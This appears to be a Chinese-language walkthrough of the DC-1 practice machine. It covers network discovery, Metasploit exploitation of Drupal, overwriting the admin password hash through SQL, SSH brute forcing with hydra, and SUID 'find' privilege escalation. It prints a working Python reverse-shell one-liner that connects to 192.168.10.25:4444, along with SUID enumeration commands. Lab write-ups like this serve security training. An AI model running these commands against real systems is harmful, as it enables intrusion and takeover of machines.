DC-1
DC-1
一、靶机地址
- netdiscover
┌──(root💀kali)-[/home/mpy]
└─# netdiscover -i eth0 // 扫描eth0这个网卡下存活的IP主机
- nmap
┌──(root💀kali)-[/home/mpy]
└─# nmap -sn 192.168.1.1/24
Starting Nmap 7.91 ( https://nmap.org ) at 2022-06-11 21:04 CST
Nmap scan report for localhost (192.168.1.1)
Host is up (0.0026s latency)
MAC Address: 54:75:95:3E:92:30 (Tp-link Technologies)
Nmap scan report for localhost (192.168.1.135)
Host is up (0.00013s latency)
MAC Address: 50:EB:71:5D:6C:18 (Intel Corporate)
Nmap scan report for localhost (192.168.1.139)
Host is up (0.0015s latency)
MAC Address: 00:0C:29:E7:95:A4 (VMware)
Nmap scan report for localhost (192.168.1.138)
Host is up
- arp-scan
┌──(root💀kali)-[/home/mpy]
└─# arp-scan -l // 使用网络接口扫描
192.168.1.1 54:75:95:3e:92:30 TP-LINK TECHNOLOGIES CO.,LTD.
192.168.1.135 50:eb:71:5d:6c:18 Intel Corporate
192.168.1.139 00:0c:29:e7:95:a4 VMware, Inc
二、靶机端口
- nmap扫描
┌──(root💀kali)-[/home/mpy]
└─# nmap -Pn 192.168.1.138 // 穿透防火墙扫描端口
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
MAC Address: 00:0C:29:E7:95:A4 (VMware)
三、端口利用

- 通过网站的一些基本信息确认CMS为
drupal- 可以从网上查找漏洞利用方法
- 通过插件确认CMS信息

四、漏洞利用
-
msfconsole开启msf -
通过CMS查找漏洞
- search CMS

- use 路径

- show options

- set rhosts 目标IP

- run 【攻击之后会出现meterpreter会话】

- shell【切换终端模式】

- python -c 'import pty;pty.spawn("/bin/bash")' // 使用python反弹一个交互式shell

五、寻找突破
-
ls查看文件

-
flag1.txt // 寻找配置文件
-
通过网络搜索drupal配置文件,发现flag2.txt
找到 : /sites/default/settings.php

-
修改管理员密码
-
通过登录数据库进行修改密码
- 登录数据库

- 查看数据库、表

- 查看数据
- 加密有点特殊

- 返回发现存在一个加密脚本

- 运行一下


- 执行成功

-
回到刚才,更新user表中admin用户的密码
update users set pass="$S$DlFf3gcP7kmSySHRcu.SKDKE3mubv9py0gueir3J8m56ptirCtA0" where uid=1;

- 回到网站 使用 admin/admin登录

成功登录,访问flag3.txt //
- 需要使用 -exec 来进行提权

-
查看版本,利用msf来重新创建管理员

- 利用msf的共计脚本生成账号、密码

- 使用python进行创建


这里的账号密码创建成功后没法成功登录,不知道什么原因,看看数据库

发现除了admin账号和第一个空账号,其余都被过滤,看来方法二并不可行
-
六、开始提权
/etc/passwd和/etc/shadow还提到了find、perms、-exec,这几个是提权用的
- 查看
/etc/passwd的文件内容

- 存在一个flag4的用户【之前扫描端口时22ssh远程连接端口开放,尝试一下爆破】

-v、V:显示详细信息
-f :成功九停止

- 远程连接一下

-
发现了flag4.txt
- 想要获取flag,就得在root目录下面查看
-
- 利用find文件提权
#以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试 find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000-print2>/dev/null find / -user root -perm -4000-exec ls -ldb {} \;
- 成功执行命令
- 通过python反弹shell,kali接收反弹端口
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.25",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

- 成功拿到flag5.txt
知识总结
-
3个工具扫描主机
- netdiscover -i eth0
- nmap -sn 192.168.169.1/24
- arp-scan -l
-
扫描端口
- nmap -Pn 192.168.169.139
-
python交互界面
python -c 'import pty;pty.spawn("/bin/bash")'
-
msf的基本操作
- search 搜索漏洞
- searchsploit 搜索漏洞
-
数据库的操作
- 数据库查询
- 数据表查询
- 数据查询
- 修改数据
-
hydra的使用
-
提交的操作
-
反弹shell
-
find提权
以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试 find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000-print2>/dev/null find / -user root -perm -4000-exec ls -ldb {} \;

浙公网安备 33010602011771号